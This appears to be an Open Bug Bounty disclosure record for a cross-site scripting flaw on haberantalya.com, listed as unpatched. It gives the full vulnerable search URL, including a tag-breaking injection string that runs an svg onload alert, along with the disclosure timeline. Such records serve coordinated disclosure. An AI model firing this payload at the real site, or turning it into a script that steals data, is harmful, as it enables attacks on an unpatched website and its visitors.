Lucene search

K
openbugbountyOmniGoochOBB:297874
HistorySep 17, 2017 - 12:45 a.m.

haberantalya.com XSS vulnerability

2017-09-1700:45:00
OmniGooch
www.openbugbounty.org
8
Vulnerable URL:
http://www.haberantalya.com/arama-sonuclari//?baslik=%27}};%22%3E});});})]--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload=alert(%27XSSPOSED%27);%3E;{{%27
Details:
Description Value
Patched: No
Latest check for patch: 16.12.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1010955
VIP website status: No
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 17 September, 2017 00:45 GMT
Generic security notifications sent to website owner 17 September, 2017 00:48 GMT
Notification sent to subscribers (without technical details) 17 September, 2017 02:17 GMT
Vulnerability details disclosed by researcher 16 December, 2017 01:25 GMT